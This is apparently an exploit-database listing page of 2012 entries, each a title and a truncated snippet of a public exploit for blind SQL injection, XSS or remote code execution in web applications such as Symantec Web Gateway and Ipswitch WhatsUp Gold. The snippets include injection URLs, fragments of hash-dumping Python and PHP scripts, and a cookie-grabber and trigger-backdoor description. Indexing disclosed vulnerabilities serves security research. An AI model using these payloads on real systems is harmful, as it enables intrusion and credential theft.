ProQuiz 2.0.2 - Multiple Vulnerabilities

Exploit Title: ProQuiz v2.0.2 - Multiple Vulnerabilities Date: 18/7/2012 Author: L0n3ly-H34rT My Site: http://se3c.blogspot.com/ Contact: [email protected] Vendor Homepage: http://proquiz.softon.org/ Software Link: http://code.google.com/p/proquiz/downloads/list Tested on: Linux/Windows 1-...

AraDown - Blind SQL Injection

"; $target = stdin; $ar = array'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'; echo " Username : "; for$i=1;$i=30;$i++ foreach$ar as $char $b = send'http://server',"3' and select subst...

Islamnt Islam Forum Script 1.2 - Blind SQL Injection

Islamnt Islam Forum Script 1.2 - Blind SQL Injection Query"select $val from styles where idstyle='$styledefault'"; FetchO$seltemp; $this-temp = $rowtemp-$val; $this-temp = stripslashes$this-temp; / print "\n+------------------------------------------------------------+"; print "\n| Islamnt = Remo...

Islamnt <= Remote Blind SQL Injection Exploit

Exploit for php platform in category web applications Query"select $val from styles where idstyle='$styledefault'"; FetchO$seltemp; $this-temp = $rowtemp-$val; $this-temp = stripslashes$this-temp; / print "\n+------------------------------------------------------------+"; print "\n| Islamnt =...

Tekno.Portal 0.1b Blind SQL Injection

====================================================== Tekno.Portal v0.1b - Blind SQL Injection in "link.php" ====================================================== Exploit Title: Tekno.Portal v0.1b 'link.php' Blind SQL Injection Vulnerability Date: 08-01-2012 Author: Socket0x03 Alvaro J. Gene...

Limny 3.3.1 Blind SQL Injection

Exploit Title: Limny v 3.3.1 Blind SQL Injection Date: 31/7/2012 Author: L0n3ly-H34rT Homepage: http://se3c.tk/ Contact: [email protected] Software Link: http://www.limny.org/releases/limny-3.3.1.zip Tested on: Linux/Windows Example 1: http://127.0.0.1/limny-3.3.1/index.php?q=-1' or 57 = '5...

Symantec Web Gateway 5.0.3.18 (deptUploads_data.php) Blind SQL Injection Vulnerability

Exploit for php platform in category web applications !/usr/bin/python @Kc57 Blind SQLi POC Dumps out the first available hash in the users table of spywalldb import urllib import time from time import sleep timing='2.5' checks = 0 def checkchari, pos: global timimg global checks checks += 1 url ...

Symantec Web Gateway 5.0.3.18 - deptUploads_data.php?groupid Blind SQL Injection

Symantec Web Gateway 5.0.3.18 - deptUploadsdata.php?groupid Blind SQL Injection !/usr/bin/python @Kc57 Blind SQLi POC Dumps out the first available hash in the users table of spywalldb import urllib import time from time import sleep timing='2.5' checks = 0 def checkchari, pos: global timimg glob...

Ipswitch WhatsUp Gold 15.02 Stored XSS - Blind SQLi - RCE

Exploit for asp platform in category web applications / Exploit Title: Ipswitch WhatsUp Gold 15.02 Stored XSS - Blind SQLi - RCE Date: Jul 22 2012 Author: muts Version: Ipswitch WhatsUp Gold 15.02 Vendor URL: http://www.ipswitch.com/ An attacker can modify their snmpd.conf file with malicious...

Symantec Web Gateway 5.0.3.18 Blind SQL Injection

Exploit Title: Symantec Web Gateway 5.0.3.18 Blind SQLi Backdoor via MySQL Triggers Date: Jul 23 2012 Author: muts Version: Symantec Web Gateway 5.0.3.18 Vendor URL: http://www.symantec.com Timeline: 12 Jun 2012: Vulnerability reported to CERT 22 Jun 2012: Response received from CERT with...

Symantec Web Gateway 5.0.2 Blind SQL Injection

!/usr/bin/python Exploit Title: Symantec Web Gateway 5.0.2 blocked.php id parameter Blind SQL Injection Date: Jul 23 2012 Author: muts Version: Symantec Web Gateway 5.0.2 Vendor URL: http://www.symantec.com Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from...

Alienvault Open Source SIEM (OSSIM) 3.1 - Reflected Cross-Site Scripting Blind SQL Injection

Alienvault Open Source SIEM OSSIM 3.1 - Reflected Cross-Site Scripting Blind SQL Injection !/usr/bin/python ''' AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php". Proof of Concept: Enticing a logged in user to visit the following URL where an attacker is hosting an...

Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection

Exploit for linux platform in category web applications !/usr/bin/python Exploit Title: Symantec Web Gateway 5.0.2 blocked.php id parameter Blind SQL Injection Date: Jul 23 2012 Author: muts Version: Symantec Web Gateway 5.0.2 Vendor URL: http://www.symantec.com Timeline: 29 May 2012: Vulnerabili...

Symantec Web Gateway 5.0.2 - blocked.php?id Blind SQL Injection

Symantec Web Gateway 5.0.2 - blocked.php?id Blind SQL Injection !/usr/bin/python Exploit Title: Symantec Web Gateway 5.0.2 blocked.php id parameter Blind SQL Injection Date: Jul 23 2012 Author: muts Version: Symantec Web Gateway 5.0.2 Vendor URL: http://www.symantec.com Timeline: 29 May 2012:...

Alienvault Open Source SIEM (OSSIM) 3.1 - Reflected Cross-Site Scripting / Blind SQL Injection

!/usr/bin/python ''' AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php". Proof of Concept: Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session:...

Symantec Web Gateway 5.0.3.18 - Blind SQL Injection Backdoor via MySQL Triggers

Exploit Title: Symantec Web Gateway 5.0.3.18 Blind SQLi Backdoor via MySQL Triggers Date: Jul 23 2012 Author: muts Version: Symantec Web Gateway 5.0.3.18 Vendor URL: http://www.symantec.com Timeline: 12 Jun 2012: Vulnerability reported to CERT 22 Jun 2012: Response received from CERT with...

ipswitch whatsup gold 15.02 - Persistent Cross-Site Scripting Blind SQL Injection Remote Code Execution

ipswitch whatsup gold 15.02 - Persistent Cross-Site Scripting Blind SQL Injection Remote Code Execution / Exploit Title: Ipswitch WhatsUp Gold 15.02 Stored XSS - Blind SQLi - RCE Date: Jul 22 2012 Author: muts Version: Ipswitch WhatsUp Gold 15.02 Vendor URL: http://www.ipswitch.com/ An attacker c...

ipswitch whatsup gold 15.02 - Persistent Cross-Site Scripting / Blind SQL Injection / Remote Code Execution

/ Exploit Title: Ipswitch WhatsUp Gold 15.02 Stored XSS - Blind SQLi - RCE Date: Jul 22 2012 Author: muts Version: Ipswitch WhatsUp Gold 15.02 Vendor URL: http://www.ipswitch.com/ An attacker can modify their snmpd.conf file with malicious JavaScript as follows: sysName alert124pt In addition,...

ClipBucket 2 Blind SQL Injection

=============================================================================== Vulnerable Software: ClipBucket v2 Official Site: http://clip-bucket.com/ ================================================================================ Exploited: In Wild...

Chyrp v2.1.2 <= (FU/BSQLi) Multiple Vulnerabilities

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...